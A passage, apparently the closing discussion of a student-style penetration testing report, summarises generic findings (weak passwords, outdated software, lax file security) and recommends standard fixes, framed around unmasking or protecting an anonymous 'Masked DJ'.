The findings from the penetration testing underscore the critical importance of robust cybersecurity measures in safeguarding against potential security threats and protecting sensitive information. Weak password practices, outdated software versions, and lax file security measures represent common vulnerabilities that can be exploited by malicious actors to compromise the integrity and confidentiality of IT systems.

In the context of unmasking the Masked DJ, these vulnerabilities take on added significance as they represent potential points of entry for adversaries seeking to uncover the identity behind the cryptic persona. By exploiting weaknesses in the IT infrastructure, malicious actors could gain unauthorized access to sensitive information and potentially reveal the true identity of the Masked DJ.

Therefore, addressing these vulnerabilities is paramount not only for enhancing the overall security posture of the IT environment but also for protecting the anonymity of the Masked DJ. Implementing stronger password policies, regularly updating software, and enforcing robust file encryption measures are essential steps towards fortifying the security of the IT environment and mitigating the risk of identity disclosure.

In conclusion, the findings of the penetration testing underscore the importance of proactive cybersecurity measures in safeguarding against potential security threats and preserving

anonymity in digital identities. By addressing key vulnerabilities and implementing robust security measures, organizations can enhance their resilience to cyber-attacks and protect sensitive information from unauthorized access.

This structured presentation of findings and their discussion emphasizes the critical vulnerabilities discovered during the penetration testing and highlights their implications for security, particularly in relation to the objective of unmasking the Masked DJ.

### **References**

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